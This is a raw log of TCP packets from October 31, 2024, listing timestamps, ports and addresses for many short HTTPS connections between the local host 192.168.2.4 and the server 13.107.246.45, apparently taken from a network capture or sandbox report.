Oct 31, 2024 07:15:31.814563036 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.815000057 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.815004110 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.852519989 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.852559090 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.852607965 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.852642059 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.852679968 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.852891922 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.852900982 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.852909088 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.852912903 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.855344057 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.855408907 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.855479956 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.855600119 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.855621099 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.876722097 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.876759052 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.876826048 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.876990080 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.877003908 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.877012968 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.877017975 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.879273891 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.879292965 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.879370928 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.879501104 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.879512072 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.898840904 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.898905039 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.898953915 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.899189949 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.899189949 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.899224043 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.899235964 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.901025057 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.901057005 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.901117086 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.901231050 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.901242971 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.946028948 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.946046114 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.946079969 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.946134090 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.946152925 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.946315050 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.946321964 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.946331024 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.946333885 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.948360920 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.948380947 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.948455095 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.948582888 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.948590040 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.218003035 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.218801022 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.218811035 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.219230890 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.219235897 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.352751970 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.352823973 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.352876902 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.352889061 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.352957964 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.353008986 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.353137970 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.353144884 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.353153944 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.353162050 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.356030941 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.356076956 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.356162071 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.356345892 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.356365919 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.606724977 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.607377052 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.607388973 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.607542992 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.607856035 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.607861042 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.607883930 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.607918978 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.608390093 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.608402967 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.640378952 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.640738964 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.640772104 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.641105890 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.641113043 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.677546978 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.677867889 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.677881956 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.678235054 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.678239107 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.735884905 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.735907078 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.735939026 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.735961914 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.736000061 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.736188889 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.736202002 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.736211061 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.736216068 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.738697052 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.738732100 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.738765955 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.738781929 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.738814116 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.738950968 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.738954067 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.738975048 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.738976002 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.738992929 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.738998890 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.739048004 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.739170074 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.739176035 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.741105080 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.741158962 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.741250038 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.741373062 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.741405010 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.789551973 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.789664984 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.789712906 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.789740086 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.789755106 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.789766073 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.789772987 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.791670084 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.791697025 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.791758060 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.791872025 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.791883945 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.809180021 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.809227943 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.809277058 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.809382915 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.809391022 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.809400082 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.809403896 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.811198950 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.811229944 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:32.811302900 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.811399937 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:32.811423063 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.089706898 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.090281010 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.090312004 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.090791941 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.090795994 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.217673063 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.217818022 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.217874050 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.218540907 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.218559027 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.218569040 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.218574047 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.226352930 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.226376057 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.226469040 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.226581097 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.226591110 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.455591917 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.456051111 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.456064939 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.456551075 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.456556082 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.524279118 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.524770975 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.524801016 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.525245905 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.525259972 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.528547049 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.528856039 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.528870106 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.529212952 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.529217005 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.554039001 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.554445982 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.554469109 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.554872990 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.554883957 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.583619118 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.583661079 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.583702087 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.583726883 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.583758116 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.583961010 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.583970070 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.583990097 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.583993912 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.586781979 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.586821079 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.586898088 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.587049961 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.587061882 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.655075073 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.655138969 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.655188084 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.655307055 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.655350924 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.655385971 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.655400991 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.657349110 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.657377958 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.657452106 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.657573938 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.657583952 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.658430099 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.658466101 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.658497095 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.658509016 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.658540010 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.658652067 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.658662081 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.658672094 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.658675909 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.660576105 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.660588026 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.660676956 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.660799026 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.660811901 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.685127974 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.685168982 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.685221910 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.687108994 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.687129974 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.687155008 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.687167883 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.688967943 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.688977957 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:33.689033985 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.689142942 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:33.689152956 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.003566980 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.003982067 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.003993988 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.004415989 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.004421949 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.133439064 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.133507013 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.133601904 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.133615971 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.133672953 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.133805037 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.133816004 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.133827925 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.133831024 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.136899948 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.136920929 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.136985064 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.137113094 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.137119055 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.328131914 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.328535080 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.328556061 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.329001904 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.329006910 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.383904934 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.384324074 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.384341002 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.384737015 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.384742022 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.387773037 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.388186932 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.388210058 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.388566971 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.388571024 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.423233986 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.423685074 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.423695087 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.424390078 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.424393892 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.460532904 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.460611105 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.460654020 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.461117983 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.461141109 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.461153984 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.461158991 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.476300955 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.476360083 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.476435900 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.476870060 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.476893902 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.512423992 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.512470007 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.512547970 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.514149904 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.514161110 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.514169931 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.514174938 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.517538071 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.517597914 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.517643929 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.518585920 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.518596888 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.518605947 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.518610001 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.564099073 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.564927101 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.564990044 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.608942032 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.608963966 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.609035015 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.609968901 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.609975100 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.609985113 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.609988928 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.630486012 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.630520105 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.630597115 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.630774975 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.630790949 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.641983032 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.642009974 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.652609110 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.652623892 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.652693033 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.652827978 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.652837992 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.886239052 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.886754990 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.886770964 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:34.887222052 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:34.887226105 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.017277002 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.017433882 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.017505884 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.017648935 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.017659903 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.017669916 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.017677069 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.020963907 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.020998955 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:35.021074057 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.021240950 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:35.021251917 CET	443	49941	13.107.246.45	192.168.2.4
